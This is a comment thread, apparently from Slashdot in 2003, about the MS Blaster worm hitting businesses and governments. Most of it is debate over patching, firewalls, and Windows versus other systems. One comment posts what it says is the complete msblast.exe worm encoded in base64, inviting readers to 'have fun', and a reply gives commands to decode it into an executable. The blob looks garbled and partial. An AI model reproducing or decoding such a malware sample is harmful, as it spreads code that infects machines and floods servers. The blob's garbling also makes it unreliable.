Funny you should mention that, I saw the story on /. and I figured this time it was worth the update (someone mentioned that something like winnuke would appear and that did it). I do a ghost of my partition and I install all the critical updates. Soon after my computer starts to lock up, so I restore the image and the computer is back to normal. After doing the same tango a couple of times, I decide that the RPC patch is most imp't so I only get that one. Lucky my computer didn't lock up or I would have reverted to the unpatched state. You can't really get all the patches MS dishes out.

Re: A good arguement for...

[retto]

I wonder if this will eventually become a regular segment, like the weather

I can see it now... a fat bald guy standing in front a colorful map of the US pointing at little cardboard cut outs of 'hax0r' and '0wn3d' talking about an 'outbreak of DDOS across the midwest' and a 'hacker front coming up the eastern seaboard.'

There could also be a five-day patch forecast, and to wrap it all up he could say happy birthday to really old sysadmins and shoutouts to servers with really long uptime.

Re:A good arguement for...

[Anonymous Coward]

Its because Windows Update is broke. It doesn't check what is really installed on the box and allows people to install patches that overwrite newer files that fixed things like the DCOM vuln.

Re:A good arguement for...

[Anonymous Coward]

What do you do about remote users that can only connect via VPN through a modem?

Re:A good arguement for...

[arkane1234]

I know people have been saying this in all the threads (well, towards the beginning) but I'm wondering... don't people use firewalls, at ALL?

Now, I run a pure Linux network at home (Redhat, Gentoo, Debian with a splash of BBIagent) and even *I* set my firewall up to deny all port 69, and 4444. At work, we set our firewall to block any port 69 and 4444 connections, also.

Not a chirp from our office, although the remote sites slammed our network hard because of it... though I have no control over them so you know. I'm a Linux Systems Administrator, not the security or network admin ;)

Re: A good arguement for...

[paganizer]

Is anyone from TechTV reading this?
Fantastic idea, even if just for a tongue-in-cheek segment.
I didn't patch my Win2k server.
I disabled RPC, and using TPF, put a block on the Internet side for ports 135-139.
I did this because I've been a SysAdmin on everything from Xenix to Solaris to OS/2, and a MCSE since NT4SP3; I never use a MS patch until at least 3 months after it's issued, because it's been my experience that the patches ALWAYS have some added "feature" that has to be worked around.

My personal Win2k machine, I left wide open, just to see how long it would take to get infected....Mon 6:45PM CST.

I just pity the poor XP owners.
But then, I always have. Suckers.

Re:A good arguement for...

[Anonymous Coward]

Actually if the Department of Homeland Security says one thing, it is prudent to assume that the exact opposite is good for you. Never trust a state police, secret or otherwise [Gestapo, KGB, Stasi, whatever they are called].

Re: A good arguement for...

[Anonymous Coward]

Isn't it happening already? I mean, at Microsoft the bald guy (you know who, and it's not Voldemort) must be in front of such chart saying:
"And in Germany, these clouds mean it's raining cats and dogs in many places, and pinguins over Munich"...

Re:A good arguement for...

[Kris_J]

What do you do about remote users that can only connect via VPN through a modem?

Fortunately we don't have anyone who only connects via VPN, so when I know they're in the office I can specifically scan their PC. (Currently we have two laptops away from the desk which will get a damn good patching on their return.)

Re:A good arguement for...

[Hektor_Troy]

No offence to Windows Update (okay I lied) but I get a critical update for my Video Driver. It wants me to install Microsoft's latest driver for nVidia cards, which is from May the 2nd 2003.

I'm using the latest one from nVidia which is

Version: 44.03
Release Date: May 14, 2003
WHQL Certified

I wonder why it is critical to downgrade my driver, when nVidia still supplies the certified drivers ...

No, wait - I don't. Here's why:
1) That driver should be under the Drivers section.
2) I also have "Q810243 Update: Watch television shows recorded by Media Center PCs on other Microsoft Windows XP PCs" under critical updates.

It's a usefull system, I'll give'em that, but puhleaze ....

Re:A good arguement for...

[Anonymous Coward]

Was it on orange, red, yellow or green paper? Did you have to take off your shoes? Do you have any tweezers or nail clippers? Have you patched your computer? "We are Homeland Security and we must destroy the constitution regarding individual rights and privacy!"

Re:A good arguement for...

[isorox]

I work in an internet cafe in greece, and ran windows update. Yet again it locked the computer up, wonderful. apt-get never did that.

Re:A good arguement for...

[_randy_64]

I did the Windows Update thing as soon as I installed XP Pro. Then the Windows File Search stopped working, Yahoo Messenger stopped working, and Windows Media Player wouldn't start at all. The fix was to re-install XP. Maybe that's why some people haven't/don't/won't use(d) Windows Update. The File Search issue is a known problem, according to Windows Annoyances, but I've never seen a mention of exactly which patch _breaks_ which other piece of the system!

Re:A good arguement for...

[_|()|\|]

I'm wondering... don't people use firewalls, at ALL?

Laptops often make an end run around firewalls. I attended a Windows 2003 seminar at a Microsoft branch a few months ago. We lost our Internet connection twice, because someone brought in a Slammer-infected laptop. It sucked, because Google is more effective than MS help files.

We had similar situations at work with Nimbda and Slammer. I think Nimbda came in over VPN. Well after Slammer's peak, a consultant brought it in on a laptop.

If you want a flexible work environment, a firewall is not enough.

Re:A good arguement for...

[Chanc_Gorkon]

And what are the odds that the DMV's terminal programs would be affected by a OS update? Close to zero probably.

Re:A good arguement for...

[Overly Critical Guy]

Which has only been labled 'critical' very recently, and, as far as I can tell, isn't on the suggested list of patches when Windows Update runs. I spent a good part of last night putting together a web page for my friends telling them what was wrong and how to fix it.

That's 100% a lie. It was a critical update on 7/16. Has been ever since. Of course it's on the suggested list of updates. Nobody knows what you're smoking.

Next.

Re:A good arguement for...

[mstra]

people who were up to date with their Windows Update or had Windows Auto-Update on still got hit

I keep reading these claims...but all I did with my home machine was keep updated with WU...when we first started dealing with this at work, I ran the eEye scanner against my machine, and it came up "patched".

Now granted, I'm firewalled, but I haven't seen anything with this worm yet on my home machine.

m.

Re:A good arguement for...

[thomas.galvin]

I ran Windows Update, and this patch was not on the list; I had to download and install it manually, and walk a number of people through the same process.

Re:A good arguement for...

[Twister002]

My problem, I'm still on dial-up (for the time being) so to install SP4 and get MOST of the security updates in one fell swoop requires a 132MB download over a connection that is, AT BEST, 45 kbps. I usually average a 26.4 connection. Then I have to install their special new patch for this virus.

Worm

[aligma]

Are you, by any chance talking about MS Blaster Worm?
Its good for us to keep using the correct terminology ... Maybe then the media will get the idea too!

Ok, time to get modded down. :/

Re:Worm

[perotbot]

lovesan is the mcafee name for it, based on the the "We love you SAN" comment in the code. Patch early, patch often, panic never

Re:Worm

[JWW]

patch early, patch often screw uptime!!

Re:Worm

[Nimey]

Ok, time to get modded down. :/

If I could post to a discussion and mod it at the same time, I'd mod you down just for making that stupid comment.

Re:Worm

[Anonymous Coward]

True, I just thought more people would have the reaction of oversensitive AC. [Submit] [Preview] .. No [I take back that last bit] *shrugs*

3M Plant Shut Down

[Anonymous Coward]

A radio news report tonight said that a 3M plant in Minnesota shut down Tuesday due to a computer worm. Somebody's trying to run a plant dependent upon Microsoft...

Re:3M Plant Shut Down

[green pizza]

Somebody's trying to run a plant dependent upon Microsoft...

I suggest you take some factory tours, the majority of modern factories/plants use Windows for their control software. Unless the end product is something very critical or very expensive, plant designers and control software writers tend to stick with well documented comodity hardware (Win32).

Re:3M Plant Shut Down

[Vinson Massif]

Heh, get used to that. More distributed control systems (DCS) are running on MS cuz that's what the customer wants.

Idiots. Both sides.

Re:3M Plant Shut Down

[Anonymous Coward]

At least one of them is the 3M plant in Hutchinson, MN.

Re:3M Plant Shut Down

[Anonymous Coward]

I suggest you take some factory tours, the majority of modern factories/plants use Windows for their control software.

I've worked in factories. You can tell Windows is being used due to all the blue screens. But you only notice the Windows machines, because you don't see failure screens on the non-Windows machines.

Unless the end product is something very critical or very expensive, plant designers and control software writers tend to stick with well documented comodity hardware (Win32).

• Windows is software, not hardware. Very soft.
• If you meant to say "well documented software" then you haven't suffered enough.
• Using Microsoft software will ensure the result is critical and very expensive.
• "commodity"

Re:3M Plant Shut Down

[Anonymous Coward]

I suggest you take some factory tours, the majority of modern factories/plants use Windows for their control software. Unless the end product is something very critical or very expensive, plant designers and control software writers tend to stick with well documented comodity hardware (Win32).

I suggest that you know more about what you are talking about.

We still use good old fashioned PLC's for most of our control systems. The fault and downtime reporting goes to a computer in the sky, but it always has. We do have one system that is a mix of PLC and Windows, and ended up with a virus last night (second time in three months). The contractors say that we can't run virus scanners since they can't predict the results...

However I can pretty much predict what will happen once their stuff gets infected (the first time it caused to crash and nearly destroyed two cars).

I can't speak about other plants, but by and large PLC's still rule.

For those of you that are new to this, check out http://www.plcs.net/ for a primer on the subject.

And as for "well documented comodity hardware", that would be a PLC. Natch :)

And as for tours, we run a tour bus through the place nearly every day. So stop by and give us a visit (if you are a hardware geek, we've got some realllyyy big iron :)

And who am I? Just your average Saturn Controls Engineer goofing off at work :)

Re:3M Plant Shut Down

[nacturation]

Unless the end product is something very critical or very expensive, plant designers and control software writers tend to stick with well documented comodity hardware (Win32).

I hate to break it to you, but Win32 is a set of APIs, not hardware. Hardware is the Intel and clones x86 line, which is essentially a commodity. And that x86 hardware runs Windows (Win32), Linux, *BSD, QNX, etc. etc.

Re:3M Plant Shut Down

[IM6100]

The history behind PLCs is that when computer automation first came into production enviroments in the Automotive industry, the trade unions blasted it severely, and got a LOT of rules written prohibiting 'computers' taking over worker's jobs.

So the idea of a PLC (Programmable Logic Controller) came into being. Basically it's a computer. But the Union Steward doesn't need to know that.

And because it's a different sort of computer, it obviously doesn't run commodity software like a Microsoft OS. Also they cost one hell of a lot more than commodity 'PC' hardware. There's always someone to benefit with a economic shakedown when there's a Trade Union involved in making the rules.

Re:3M Plant Shut Down

[Anonymous Coward]

You've worked in factories, because you're doubtless a box taper over there in shipping.

You're full of shit.

Re:3M Plant Shut Down

[Anonymous Coward]

as apposed to the person he responded to who tours factories, and is so full of shit he leaves trails of it where ever he goes.

I bet lots of Gov't and Biz are keeping mum.

[caferace]

From SFGate:

"In Sweden, Internet provider TeliaSonera said about 20,000 of its customers were affected after the infection clogged 40 servers handling Internet traffic.

Among companies affected in Germany was automaker BMW, said spokesman Eckhard Vannieck. He said the problems did not affect production."

Really makes you wonder who ain't sayin...

Re:I bet lots of Gov't and Biz are keeping mum.

[quarkscat]

Regarding BMW, BTW. The top of the line BMW vehicle (745) uses a network of CPUs for everything from climate control to engine function to suspension. Their OS of choice: MS WinCE ! Brings new meaning to the term BSOD !

Re:I bet lots of Gov't and Biz are keeping mum.

[KillerHamster]

Does SCO use Windows? Because that would be hilarious...and of course, they'd never tell you without an NDA.

Re:I bet lots of Gov't and Biz are keeping mum.

[BrainInAJar]

IIRC, only mission non-critical systems were on CE. Stuff like the positioning of your seat and mirrors. Stuff like the engine computer are all run on some proprietary system (like any other fuel injected car)

Re:I bet lots of Gov't and Biz are keeping mum.

[JimC93SW2]

I used to work for one of the government IT shops mentioned above and spoke to my former co-workers this week. They would have been hit MUCH harder by the worm if they didn't still have many, many PCs that are running older OSes like Windows98. Their excuses sound very familiar. One IT manager was quoted as saying, "We download every patch we know of (???) each night". He did not say anything about APPLYING any patches, though. :-( I spent most of the 15 years since I worked in that government shop (before recently getting downsized) working for a major computer services company which has contracts with many Fortune 500 corporations as well as all levels of government. Based on what I have seen in my career (and through conversations with other former co-workers this week), almost any corporation that had a problem with this worm is now working very hard to cover it up, keep it from getting in the news, etc. To sum up: government IT shops make lame excuses, corporate ones will never admit they made a mistake. Thank heaven the perpetrator(s) of this worm did not have a little more skill (or more malevolent intentions)!

Patch!

[focitrixilous P]

I can forgive stupid home users, but shouldn't mission critical things like these patch every now and then? The hype surrounding this has been huge, and if you run unpatched microsoft stuff, well, good luck fixing it now. It will take a long time, but at least this worm can be fixed with little damage. Maybe this worm will get people to pay attention to security, but then again people said that about the last dozen MS worms.

STUPID!!

Re:Patch!

[fermion]

The thing about a true mission critical application is you leave it the fuck alone for as long as fucking possible. It is the machine that makes the money. You do not go in there a fucking mess with it every month. It has to be reliable, it has to work. Even testing a patch on a non production machine does not guarantee that there will be not problem on a production machine.

I have been in situations where the the computer tech wants to come into my machine and put new crap on it every couple weeks. I am sitting there twiddling my thumb for an hour, and I have no idea if the machine will work. Of course the tech has to do this to justify the position, but it scare me every time that my production machine will be out of whack, and I will have to justify to my supervisor why no code has been written.

It is this lax attitude that made programming no fun. I was in one place where developers would put patches in mission critical application without thoroughly testing them. Everything would go down, and they just claimed ignorance. Sure, such things happen to everyone once in a while, but some people just seem to have no sense or responsibility.

Judgement Day!

[DerangedYeti]

Sounds like we might need to get Skynet onto this one!

Re:Judgement Day!

[Anonymous Coward]

In Soviet Russia, YOU are a cliche!!!

Re:Judgement Day!

[Anonymous Coward]

Or

In Soviet Russia, Cliches make lame jokes about YOU!!!!

You'd think they know computers aren't invincible

[Anonymous Coward]

...after NASA Linux systems where taken down by Ramen, a worm based on an exploit patched 5 months before (the vulnerability used by Blaster was patched 1 month ago)

" the recent virus."

[randomdef]

what recent virus? we all don't live and die by the newest norton update, someone tell em what the hell "the recent virus" is.

Their fault.

[man_ls]

Their fault-the patch was released over a month ago, before there were any known exploits for it.

Re:Their fault.

[Anonymous Coward]

True.
Its funny because most people dont know there infected with a worm/trojan/virus for a while because theres usually no signs that the typical user would notice. This one makes itself know in a big way by rendering the computer useless (because it keeps shutting down). Might be a good thing indirectly because I bet a lot of people are just now becoming familiar with windowsupdate.com

It's allways so much fuzz

[The Old Burke]

when a new Microsoft worm or exploit is out. But after the initiall updatestuff it all settles. The latest RPC vulnerability the Blaster is already slowing down according to a Cnet.
And I guess that eveyone that have some firewalls and uses common sense allways survive these attacks. At my companys network we use Win 98 instead, so we were able to escape this worm. Actually it looks like all the new exploit are on these new Win2000 and XP versions, so to me Win 98 or Win Me looks like a much better choice in the security area.

Re:It's allways so much fuzz

[name773]

yeah, but ME crashes a lot, so not much better there. in fact ME was the inspiration for xp, it was that bad. either way it's windows, get Linux, or a BSD, it's cheap and amazing.

Here's the virus

[Anonymous Coward]

Here's the entire virus, base64 encoded. Have fun. It floods microsoft.com/windowsupdate.com starting saturday.

begin-base64 600 msblast.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAA AAAAAAAAAAAAA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIb gBTM0hVGhpcy Bwcm9ncmFt
IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ 0KJAAAAAAAAA BQRQAATAED
ACp8Nz8AAAAAAAAAAOAADwELAQI3ACAAAAAQAA AAUAAA8HEAAA BgAAAAgAAA
AABAAAAQAAAAAgAAAQAAAAAAAAAEAAAAAAAAAA CQAAAAEAAAAA AAAAIAAAAA
ABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAA AAAACAAABIAQ AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAFAAAA AQAAAAAAAAAA IAAAAAAAAA
AAAAAAAAAIAAAOBVUFgxAAAAAAAgAAAAYAAAAB QAAAACAAAAAA AAAAAAAAAA
AABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAFg AAAAAAAAAAAA AAAAAAQAAA
wDEuMjIAVVBYIQwJAgnH/kZfgu7TdDBUAADREQ AAICwAACYBAD 3+//L/McBA
i0wkBPdBBAYAdA+LRCQIi1QkEIkCuAO5/3fvEM NTVlcSEFBq/m gAEEAAZP81
Ff/b3bkGiSUZIItYL3AMg/7/dCA7dH/Z3P8kJH QajTR2iwyzVB dIfLMEAHXX
d/+///9Uswjr0WSPBTWDxAxfXlvDVYnlXFVqAL 77724BaJJa/3 UI6AEAE0Bd
HInsXcP8e/v/7iCD7Agji10Mi0UIozBAJYkdNA V7az+290CudX KJRfgZrEX8
oxb7d/vtjQ2JQ/yLcy17CJFijQx2ge7W/mWPdD pWVY1rEIYLXV 5NW7bW/QnA
dCh4MSVTcpF2BB33u2WsVgwcCDaLBI+LQwwwvw v/XAglDzSP66 ws63FHav92
3dthKgy8xwUQeguOagtz2M3sQBQYX3UhGQi37w 7ICAe4OwDrJ4 P4oSpQLhv2
ClAkHg0Aug8h5pQoD4M9LBoAz97ewz7ooQ5y/+ BYENdkod0Mh6 FdNZ5oHBtV
sxCEZppQqkkQI7j/f4ll6FDZPCRmgQwkAAPZLC Rjfyhee/Z9Li QEIH4ToIkU
z7YX2QUkFkgUHBJQ1/H3bzcYMcmJTfxQKrjJwx GjZYc3x9/Dfo HsrDpsMfZq
ke+OubtQXz8AD2ZqXUhlAgAAgJ4d3z+IajJoPM YBBElI+L7ZB3 uUB3xoQ0gd
DUzhxx7+BAQ9t/kHEhLUjYVg6GvYuXb/UFFSEB H82i8ULcglDw EBGkz37Y1h
ESLI/+kLBWxoBCexN+Y2+TBpZxC328ZjW8MSRK 8MGk5HE1jrkf v7O/slLDFA
DTQhFDBZBQy5/pV7Ye6/mff5iddHiT0UShUVOD U+07mSQaSG/I TkuU/YOwEP
hPAAFMyJhVwL2D6ZrXcZ1kM5AAvKB9k2/kUEi0 CSMCxUE+hbYf ve/7ULN3ju
QCtJvZzs/T1XfSRoPhBaFEjeex+2WDmsoyiRIf SFFfLIHBAw/E p4c6U8ijy9
FH4fCA/f9+QUKRUjoWWjD6EK2zh8UqMGF0Y1D7 fUfoP6DH0CID k0KNZz9iFn
HQoHfgobAlPySngJ9nU8fCgxELDwWwmPnGoD5v QYrY+3Njzmmg koVLyULN/4
GPA6Lx/2byMDWfwPfw+NffBXDgh+Fvtmxx40L8 EeOBtwBHqp9b 0Hc+v5PwhA
zMnCEMnN5E4lLFWT6zhAOPzQujICAczAoyRgQf ij+x5FGWqRhd j9gX/b2K70
d2bHDwIbRTBUicKaOXf3ZomV2hGDpdwFMjAzO7 7nX0oj2FOF9j rZRrpm+BAJ
jVAG6CbsGN25BKHU+ziETqd334gBD4y8LzHbaD e/K9B87PqJ0L KJxqueQ5a7
uaw3i/yJ2CWKg0yn5rIV/lYH1Bcog9zRAP7cxM eDbJO9xscEz5 CPV8T8g/Td
haiLfCJohAORgaYbv7//snMLVg3EWTrrBdM6Fu zGBkgbdA4TEQ WIzrrMXLk4
QErwQuCcLhQelFuVjYE927b5nX4ifg/nLQUw6w gHLIdszyxHIj A7MBnk9phe
GBAwIiHbI3IQMIoxKOQYP8sHKOuWwwCMARDGiv BFkP12lOFOcL cWDNpohxo/
xvggHV91ljH/JQGJRL2wG6ajNd8DJli0kP9agy 9+ZgSAVxMzYE eD/9vZHuUU
fM6DwzUFMA9jnSMQMAQr0gAP6yBIIxMYDBFs7T XGElmshfmKC+ Rgr20OmKak
YRIU27cgfKBoCAePa4NlpAADqPvTGS6leN4GdO sZi7UIjb379o tcODmctXwK
dBT/hRKF2wM79ig5C3LZDXUcfEAtdnLZcxc5if 8jhz4ivdOkUB cLdx+QsfAh
bH0LAPDrOUWMyVxHi+kG5nw7uzjYBLYgX4A5EQ kl3MZL5s462f UuMcNZPzwe
sbg0KQe0tRNeMzfX8OpTBnasEocXwXWpvdtuqU E4aOwcnRML68 fN7ZMKn3UY
Mr2kjTXAjjSf2265EpvzpRJE5whB2IM0n4Po7W hEBAg8B3me53 gP9Oq00nwO
8rPY5oBHDA3O1iA4puw6NbptyBjrkNAnzGIlu3 cu9WADgiEA8O v4fuX87xyB
hYxmY4vv94p8XQkFColoHHJgb7A5BS4+cA57ka 1WzKomcOTWdE g8BgE8Iw

Re:Here's the virus

[Anonymous Coward]

Mod parent down -1 as Goaste troll.

Re:Here's the virus

[Anonymous Coward]

Mod parent up, contents as advertised. To decode,

lynx --dump http://slashdot.org/comments.pl?sid=74531&cid=6682 161 | dump.txt
trim off the top and bottom, including begin and ==== lines.
base64 -d dump.txt | mblast32.exe

Why do we put up with this?

[wavecoder]

Why does the American public - much less the American government - let itself be duped into using insecure, closed-source, and only half-functional software? It's not the money - the government has to stinking pay Bill Gates and crew for the privilege of using his junk. It's not the jobs - there would be other jobs out there (with RedHat, or Apple, or any of a dozen other OS makers) without MS. In fact, there would probably be more IT jobs than there are...

So why do we put up with it? Please, I'd love to hear ideas. I don't know of much of anything that the average bureaucrat, or military office, or CIA spook, or DOT drivers-license-tester can do on Windows/Office systems, that couldn't be done under Linux or FreeBSD. I really would love to know why, when Germany, India, and who knows how many other countries have ditched closed-source software for OSS, we can't do the same...

Any thoughts?

Re:Why do we put up with this?

[Anonymous Coward]

Because Bill Gates has been extremely successful. Many people in the US view him as a genius because of his contributions in bringing computers to the average user.

I could see that if I was an adult during the intial success of Microsoft, I would trust Bill Gates over any "hippie" Linux user.

I give this trust another 5 years.

Re:Why do we put up with this?

[Anonymous Coward]

Because Germany, India and who knows how many other countries haven't ditched closed-source software in favor of anything yet... some individual towns have piloted programs to migrate to Linux (e.g. Munich, Barcelona) and some nations (Peru, India) have decided OSS is worthy of consideration to replace their existing systems, but no large government entity, anywhere has yet migrated entirely to open-source software and completed a TCO study showing that they've saved money.

Maybe once a few of these pilots and roll-outs finish up and some of those evaluations make their way into the public eye, we'll see a lot more consideration of OSS alternatives in the public sector.

Re:Why do we put up with this?

[Anonymous Coward]

You don't have to put up with it. I've left Windows a long time ago.

Re:Why do we put up with this?

[ratfynk]

Because the monopoly of MS extends to hardware manufacturers. Until we start to see the majority of hardware manufacturers releasing Linux drivers with their hardware things will not change. Just try to get a simple ps2 scroll mouse working in most linux distros and you will see what I mean. The protocols get changed by manufactures by order of Microsoft so that something that did work all of a sudden doesn't. The biggest manufacturer Logitech is the worst example you get a MS driver set but the protocol is not standard. The same thing happens with Canon printers, scanners, and especially with vid cards other than Nvidia and Sis. The conspiracy is at the hardware level and it makes it really hard for small businesses to use anything other than Microsoft software.

Re:Why do we put up with this?

[wavecoder]

Believe me, ratfynk, I hear you... I am a small business owner, myself - we get screwed. What I don't get is how it got to this point - Microsoft has never been so much better than everyone else, in so many ways, at one time, as to cause this kind of dominance. They may have had the better browser for a little while, but they lacked on graphics, sound, stability, etc, during that time... I just don't see how we got here.

Re:Why do we put up with this?

[wavecoder]

I give it another two.

Re:Why do we put up with this?

[dtfinch]

Microsoft won the desktop war long before free operating systems like Linux were an option. It's not a matter of which is better. Switching is difficult for many businesses.

Plus there's there are other issues. If given the option of a windows computer or a linux computer, the latter being $50 cheaper (oem license savings), average users will buy the windows computer knowing that it'll be another $199 or more if they later find that they needed it.

Me? They gave me a free copy of XP Pro because I'm a computer science student. Visual Studio .NET too.

Philadelphia computer system.

[apc]

Interesting. I had noticed when I stopped by Municipal Court to schedule a trial date that the computers were down. I was told by an employee that it was due to the power outage, a comment that didn't make sense considering that I knew for a fact that the server farm was a floor above us...

As pissed as I am at the asshole who wrote the worm (it took nearly half an hour to schedule something that normally takes 2 minutes-- thank "Bob" that I was in Municipal Court, which is only starting to modernize from an old IBM mainframe setup, rather than in Common Pleas or Federal District Court, which are totally computerized-- and in he case of Common Pleas at least, running on Windows), this is, of course, another example of why governments, in the name of security, should go to more open-source solutions.

Re:Philadelphia computer system.

[Windcatcher]

There was also a power outage in Center City. I just saw the report on Channel 6. Apparently a water pipe blew in the PECO substation and much of the area was without power until sometime tonight.

Re:Philadelphia computer system.

[johnpaul191]

there was also something about a transformer blowing today too.... and somehow that caused havoc on radios used by taxis, bike messengers, the center city distric peoples and some other teams.... for a few hours they were all crosstalking, yikes!

Re:Philadelphia computer system.

[DrM]

I wonder if the worm and the water main break that took out PECO's substation are connected? NBC10 in Philly reported that the Water Department uses Windows machines and was affected by the worm, and most of their main valves are remotely-operated... hmm...

When are people going to wake up?

[BWJones]

My wife's entire 1500 plus employee company was instructed today to not turn on their computers until IT came around to look at them. I guess a few computers were infected with this worm and they wanted to ensure things were taken care of. So, here's the deal: I figure that today alone, due to lost productivity, salaries, benefits etc.... this company lost $250k from this worm. So, I ask: When are companies going to wake up and realize that the fundamental foundations that Windows are built on are flawed when it comes to security? There have got to be studies out there examining total cost of ownership of the various platforms. For instance, I spent a couple days of my time updating our remaining Wintel systems to guard against this virus and am soooo happy 95% of my work is done on OS X.

Re:When are people going to wake up?

[Peyna]

Of course, if 95% of people used OS X instead of Windows, more virii and what not would be written for OS X and more vulnerabilities would be discovered, etc.

If only 1 person drove a Pinto, we might have never found out the problems with it. Since so many people drove them, the serious problems quickly became evident. It's the same kinda thing with operating systems. The more they're used, the easier it is to find vulnerabilities.

Re: When are people going to wake up?

[Black Parrot]

> My wife's entire 1500 plus employee company was instructed today to not turn on their computers until IT came around to look at them.

Where I work they just kicked everyone with an exposed system off the network as soon as the DoHS warning came out 2-3 weeks ago, and let them back on the network when they could demonstrate that their system was fixed.

Call it "opt-in security", if you will.

Re:When are people going to wake up?

[b1t r0t]

Exploding Pintos don't suddenly cause other Pintos in the vincinity (or even halfway across the planet) to explode.

The fact is that not only is OS X relatively insignificant on the market, but so is the CPU architecture that it runs on. AFAIK, there still hasn't been a virus or worm written for OS X.

And Apple has been good about making security patches available through Software Update. Good patches, that don't happen to unpatch previous security patches, like Microsoft's non-Service Pack patches have a tendency to do. (Something which was a problem when the Slammer worm hit.)

Re:When are people going to wake up?

[Anonymous Coward]

OSX did NOT ship with a remote RPC vulnerability
OSX automatic update actually works

case closed

an army of flies will not knock over a concrete wall
no matter how many flies there are, they will however knock a paper one over, if you catch my drift

Re:When are people going to wake up?

[Gojira Shipi-Taro]

While I'm not fond of Windows and choose not to run it, what I would like to see, is when the little punks that write these sorts of things get caught, the companies like your wifes that lost time because of the exploit sue the writer of said exploit/worm/whatever, and his mommy and daddy, if applicable, and turn them into refrigerator box residents.

Consequences, boys and girls, even it the vulerability is caused by incompetents at Redmond, if you cause DAMAGE by exploiting them, there are consequences. You won't like them. Vandalism is a crime. Vandalism that causes that kind of damage is a FELONY. Kiss any chance of a productive carreer goodbye and learn the holy phrase "Would you like fries with that?" because that's about as far as any l33t virus kiddie is going in life.

Re:When are people going to wake up?

[HermanAB]

Oh, man. That is a common argument used by people who know *nothing* about Unix internals. To begin to explain to you why viruses will never be a big threat on a Unix system, would require you to go to university first.

Sure, once in a while, somebody may come up with a virus that will self propagate, but they will be very few and far between.

Re:When are people going to wake up?

[agent dero]

the larger problem is Windows being wide open upon default install, instead of a *nix box which has many ports, 80,23,135,139 locked up on installation.

Re:When are people going to wake up?

[sjonke]

Even if it were true that OS X would be just as vulnerable if it had 95% of the market, the fact is that it, umm, doesn't. Are you expecting the balance of power to change any day now?

One thing I'll agree on: Windows = Pinto. It's hideous, unreliable and downright dangerous to use.

Re:When are people going to wake up?

[Kenja]

And yet when UNIX and VMS where the predominant OS there where tons of tojans, worms and viri for them.

Re:When are people going to wake up?

[Anonymous Coward]

you wake up! Worm writers target windows because it is the most popular system. If OS X was the most popular you would see this happen with it. OS X is not immune.

Also, most companies test patches and application BEFORE putting it into production. M$ patches have been known to cause new problems.

Re:When are people going to wake up?

[Anonymous Coward]

Those oversized makeup mirror computers that Apple puts out are pretty hideous, to tell you the truth.

All the Apple stuff for years has reeked of trendyness. That's not a bad marketing strategy for a company who obsoletes their whole install base every few years, though.

Re:When are people going to wake up?

[IM6100]

To begin to explain to you why viruses will never be a big threat on a Unix system

Any machine that is usable has to have user writable storage on it. The most critical data on most 'desktop' computers is user writable. The most critical data on desktop Unix computers is in the user's home directory.

And that data is easily fucked up by a trojan. Any system is suseptable to trojans if it allows users to run binaries.

The fact that the all-hallowed binary application space on Unix boxes is protected really doesn't matter. When the actual user data is fucked up because a trojan of some sort was run and wiped out home directories, shared directories on NFS servers, etc, it doesn't matter that the the binaries can be streamed off a CDROM and reinstalled.

Computers are tools. User data is pretty much the only thing important on them that can't be easily replaced if it's wiped out.

Please stop pretending there isn't the potential for trojans to do significant damage on ANY system that gives the user enough power for the system to actually be useful.

Re:When are people going to wake up?

[Anonymous Coward]

And how would the trojan get onto the system? Of course, non-developers don't have write access to any directory that can contain executables.

Re:When are people going to wake up?

[Anonymous Coward]

I am amazed everytime I hear of companies with over 15 PCs that are still relying on hoards of monkeys walking around PCs.

That same company could have had an admin knock up (in under a minute) a ZEN app object which not only applied the patch, but also checked for the existance of the msblast.exe file and remove it (and whatever else) if necessary.

$250k buys alot of ZEN licences, or any other similar product.

Re:When are people going to wake up?

[IM6100]

Yep. And The Committee will decide what software you run on your PC. Better go get a Form # 34958/12 and fill it out. In a week or so (maybe) somebody from IT will roll out that executable and you'll be able to do your work.

Fuck that. It might work in a stodgy bureaucratic business enviroment, i.e. in big dinosaur corporate envionments. It will NEVER work in small dynamic companies, let ALONE in a home computing environment.

Re:When are people going to wake up?

[Anonymous Coward]

Virii is not a word.

The plural of virus is viruses.

Chris

Re:When are people going to wake up?

[Anonymous Coward]

Of course, if 95% of people used OS X instead of Windows, more virii and what not would be written for OS X and more vulnerabilities would be discovered, etc.

Why "of course"? Do you have mystic powers which tell you so?

Currently, Apache accounts for 64% of the webservers, IIS for 24%. Yet looking at defacement statistics (or my own snort log) about 90% of all attacks are targetted at IIS, not Apache.

It's not the installed base which is important, it is the *default* installed base which is important. And default installs of OS X, Linux, Apache are definately more secure than default installs of Micrsoft products.

Re:When are people going to wake up?

[nettdata]

It was pretty interesting around our office today. You see, the "powers that be" have long been Microsoft zealots, and me (the head techie) brought in OSX about 8 months ago as a company standard.

There was much belly-aching and complaining, but soon everyone was having fun with their PowerBooks and G4 towers.

Today, with the MS worm spreading like crazy, everyone was almost laughing out loud. The MS worm actually caused a euphoric aura in our office because everyone was laughing at all the other offices that were running MS, who had to deal with worms and such.

It was quite interesting to hear the office generally realize that it's been a LONG time since they'd run into any problems with email infections or hacked boxes.

If it's because, like some people postulate, that OSX has such a minority marketshare, then I hope it stays that way! We're kind of enjoying the benefits.

On a side note, I find it interesting that all of the TV/newspaper media I've seen have been referring to it now as specifically a Windows worm, as opposed to just a generic computer virus or problem. I think it was the special note to "Billy" rebuking him for his lousy software that did it.

Re: When are people going to wake up?

[Anonymous Coward]

My former boss had an idea like that at one point. We weren't allowed to connect to the Internet OR intranet, unless the machines were patched. This was a rather annoying pain in the ass, as most of the machines had no removable medias - AT ALL - connected to them.

Took me most of a day to convince him, that to fix the flaw, I needed a network connection. When that argument failed, I got him to spring for a 512 MB USB flash drive, so I could walk around to each machine with the patch and fix it. Crazy stubborn man. Only guy with the key to the padlock to the rack with the switches.

I honestly think he's so paranoid he thinks you can dial in to a computer with a disconnected modem attached to it ...

Re:When are people going to wake up?

[RoLi]
